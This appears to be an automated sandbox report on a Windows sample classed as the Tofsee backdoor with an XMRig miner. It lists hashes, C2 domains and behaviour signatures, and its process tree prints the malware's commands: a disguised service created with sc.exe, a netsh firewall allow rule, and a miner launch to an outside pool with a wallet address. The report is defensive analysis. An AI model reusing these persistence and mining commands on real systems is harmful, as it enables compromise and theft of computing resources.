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Analysis

  • max time kernel
    141s
  • max time network
    146s
  • platform
    windows7_x64
  • resource
    win7-20230703-en
  • resource tags

    arch:x64arch:x86image:win7-20230703-enlocale:en-usos:windows7-x64system
  • submitted
    03/07/2023, 23:19

General

  • Target

    file.exe

  • Size

    304KB

  • MD5

    f7a4259a3b2ab96e30cb58c4e5cda3e6

  • SHA1

    40bb757854553230616307cd50c811ac25ba535f

  • SHA256

    3c7379928cdae48f4a016111467d0ecf2abba802e3e0003b79fa93dc48e62087

  • SHA512

    3c0a22e0692c964013f3799686647cab9f37f88fe4121c18d18d9c62b33d52da612780fd69ff055d7b8104197ea7483294575ef996c3fe83cf4718aa4a9eae84

  • SSDEEP

    3072:qnlW2D7U6wBsgnSPpXU1ReqVY9qnGw7nHHVKJ0TN6YrhHwCD25Gja:QU6gSRXU1lVY9SGink0NzrdDX

Malware Config

Extracted

Family

tofsee

C2

vanaheim.cn

jotunheim.name

Signatures

  • Tofsee

    Backdoor/botnet which carries out malicious activities based on commands from a C2 server.

  • Windows security bypass 2 TTPs 1 IoCs
  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • XMRig Miner payload 7 IoCs
  • Creates new service(s) 1 TTPs
  • Modifies Windows Firewall 1 TTPs 1 IoCs
  • Sets service image path in registry 2 TTPs 1 IoCs
  • Deletes itself 1 IoCs
  • Executes dropped EXE 1 IoCs
  • Drops file in System32 directory 2 IoCs
  • Suspicious use of SetThreadContext 2 IoCs
  • Launches sc.exe 3 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Modifies data under HKEY_USERS 7 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 36 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\file.exe
    "C:\Users\Admin\AppData\Local\Temp\file.exe"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:2188
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /C mkdir C:\Windows\SysWOW64\alwzuxk\
      2⤵
        PID:2420
      • C:\Windows\SysWOW64\cmd.exe
        "C:\Windows\System32\cmd.exe" /C move /Y "C:\Users\Admin\AppData\Local\Temp\nzhekxdb.exe" C:\Windows\SysWOW64\alwzuxk\
        2⤵
          PID:2004
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" create alwzuxk binPath= "C:\Windows\SysWOW64\alwzuxk\nzhekxdb.exe /d\"C:\Users\Admin\AppData\Local\Temp\file.exe\"" type= own start= auto DisplayName= "wifi support"
          2⤵
          • Launches sc.exe
          PID:2172
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" description alwzuxk "wifi internet conection"
          2⤵
          • Launches sc.exe
          PID:2124
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" start alwzuxk
          2⤵
          • Launches sc.exe
          PID:2196
        • C:\Windows\SysWOW64\netsh.exe
          "C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="C:\Windows\SysWOW64\svchost.exe" enable=yes>nul
          2⤵
          • Modifies Windows Firewall
          PID:2248
      • C:\Windows\SysWOW64\alwzuxk\nzhekxdb.exe
        C:\Windows\SysWOW64\alwzuxk\nzhekxdb.exe /d"C:\Users\Admin\AppData\Local\Temp\file.exe"
        1⤵
        • Executes dropped EXE
        • Suspicious use of SetThreadContext
        • Suspicious use of WriteProcessMemory
        PID:2940
        • C:\Windows\SysWOW64\svchost.exe
          svchost.exe
          2⤵
          • Windows security bypass
          • Sets service image path in registry
          • Deletes itself
          • Drops file in System32 directory
          • Suspicious use of SetThreadContext
          • Modifies data under HKEY_USERS
          • Suspicious use of WriteProcessMemory
          PID:2128
          • C:\Windows\SysWOW64\svchost.exe
            svchost.exe -o fastpool.xyz:10060 -u 9mLwUkiK8Yp89zQQYodWKN29jVVVz1cWDFZctWxge16Zi3TpHnSBnnVcCDhSRXdesnMBdVjtDwh1N71KD9z37EzgKSM1tmS.70000 -p x -k -a cn/half
            3⤵
            • Suspicious use of AdjustPrivilegeToken
            PID:2776

      Network

      MITRE ATT&CK Enterprise v6

      Replay Monitor

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      Downloads

      • C:\Users\Admin\AppData\Local\Temp\nzhekxdb.exe

        Filesize

        12.5MB

        MD5

        c06fa7a1725f4654b457ff931b37b28f

        SHA1

        bc6d09eb3c5bb9cb627d155e5375f15be93fc9d5

        SHA256

        3d058244383ab25eddeedff1a8533ac7681f21c3abfab12c4224f05125061505

        SHA512

        dde25440c96fe3580e17fd6e343ea206e3895360cc931d5e508f359b5513ac6115c71977106ded6e6b47afe8d585c0a4f843a45e934941819e5c75b9a3b00a72

      • C:\Windows\SysWOW64\alwzuxk\nzhekxdb.exe

        Filesize

        12.5MB

        MD5

        c06fa7a1725f4654b457ff931b37b28f

        SHA1

        bc6d09eb3c5bb9cb627d155e5375f15be93fc9d5

        SHA256

        3d058244383ab25eddeedff1a8533ac7681f21c3abfab12c4224f05125061505

        SHA512

        dde25440c96fe3580e17fd6e343ea206e3895360cc931d5e508f359b5513ac6115c71977106ded6e6b47afe8d585c0a4f843a45e934941819e5c75b9a3b00a72

      • memory/2128-88-0x0000000000280000-0x0000000000290000-memory.dmp

        Filesize

        64KB

      • memory/2128-61-0x000000007EFDE000-0x000000007EFDF000-memory.dmp

        Filesize

        4KB

      • memory/2128-60-0x0000000000080000-0x0000000000095000-memory.dmp

        Filesize

        84KB

      • memory/2128-62-0x0000000000080000-0x0000000000095000-memory.dmp

        Filesize

        84KB

      • memory/2128-110-0x0000000000080000-0x0000000000095000-memory.dmp

        Filesize

        84KB

      • memory/2128-105-0x0000000005880000-0x0000000005C8B000-memory.dmp

        Filesize

        4.0MB

      • memory/2128-67-0x0000000000080000-0x0000000000095000-memory.dmp

        Filesize

        84KB

      • memory/2128-68-0x0000000000080000-0x0000000000095000-memory.dmp

        Filesize

        84KB

      • memory/2128-69-0x0000000000080000-0x0000000000095000-memory.dmp

        Filesize

        84KB

      • memory/2128-71-0x0000000001950000-0x0000000001B5F000-memory.dmp

        Filesize

        2.1MB

      • memory/2128-74-0x0000000001950000-0x0000000001B5F000-memory.dmp

        Filesize

        2.1MB

      • memory/2128-75-0x0000000000210000-0x0000000000216000-memory.dmp

        Filesize

        24KB

      • memory/2128-78-0x0000000000280000-0x0000000000290000-memory.dmp

        Filesize

        64KB

      • memory/2128-82-0x0000000000280000-0x0000000000290000-memory.dmp

        Filesize

        64KB

      • memory/2128-81-0x0000000000280000-0x0000000000290000-memory.dmp

        Filesize

        64KB

      • memory/2128-83-0x0000000000280000-0x0000000000290000-memory.dmp

        Filesize

        64KB

      • memory/2128-84-0x0000000000280000-0x0000000000290000-memory.dmp

        Filesize

        64KB

      • memory/2128-85-0x0000000000280000-0x0000000000290000-memory.dmp

        Filesize

        64KB

      • memory/2128-86-0x0000000000280000-0x0000000000290000-memory.dmp

        Filesize

        64KB

      • memory/2128-87-0x0000000000280000-0x0000000000290000-memory.dmp

        Filesize

        64KB

      • memory/2128-90-0x0000000000280000-0x0000000000290000-memory.dmp

        Filesize

        64KB

      • memory/2128-106-0x0000000000420000-0x0000000000427000-memory.dmp

        Filesize

        28KB

      • memory/2128-89-0x0000000000280000-0x0000000000290000-memory.dmp

        Filesize

        64KB

      • memory/2128-91-0x0000000000280000-0x0000000000290000-memory.dmp

        Filesize

        64KB

      • memory/2128-93-0x0000000000280000-0x0000000000290000-memory.dmp

        Filesize

        64KB

      • memory/2128-92-0x0000000000280000-0x0000000000290000-memory.dmp

        Filesize

        64KB

      • memory/2128-95-0x0000000000280000-0x0000000000290000-memory.dmp

        Filesize

        64KB

      • memory/2128-96-0x0000000000280000-0x0000000000290000-memory.dmp

        Filesize

        64KB

      • memory/2128-94-0x0000000000280000-0x0000000000290000-memory.dmp

        Filesize

        64KB

      • memory/2128-97-0x0000000000280000-0x0000000000290000-memory.dmp

        Filesize

        64KB

      • memory/2128-98-0x0000000000290000-0x0000000000295000-memory.dmp

        Filesize

        20KB

      • memory/2128-101-0x0000000000290000-0x0000000000295000-memory.dmp

        Filesize

        20KB

      • memory/2128-102-0x0000000005880000-0x0000000005C8B000-memory.dmp

        Filesize

        4.0MB

      • memory/2188-56-0x0000000000220000-0x0000000000233000-memory.dmp

        Filesize

        76KB

      • memory/2188-66-0x0000000000400000-0x0000000000461000-memory.dmp

        Filesize

        388KB

      • memory/2776-111-0x0000000000240000-0x0000000000331000-memory.dmp

        Filesize

        964KB

      • memory/2776-112-0x0000000000240000-0x0000000000331000-memory.dmp

        Filesize

        964KB

      • memory/2776-119-0x0000000000240000-0x0000000000331000-memory.dmp

        Filesize

        964KB

      • memory/2776-120-0x0000000000240000-0x0000000000331000-memory.dmp

        Filesize

        964KB

      • memory/2776-121-0x0000000000240000-0x0000000000331000-memory.dmp

        Filesize

        964KB

      • memory/2776-123-0x0000000000240000-0x0000000000331000-memory.dmp

        Filesize

        964KB

      • memory/2776-124-0x0000000000240000-0x0000000000331000-memory.dmp

        Filesize

        964KB

      • memory/2776-122-0x0000000000240000-0x0000000000331000-memory.dmp

        Filesize

        964KB

      • memory/2940-64-0x0000000000400000-0x0000000000461000-memory.dmp

        Filesize

        388KB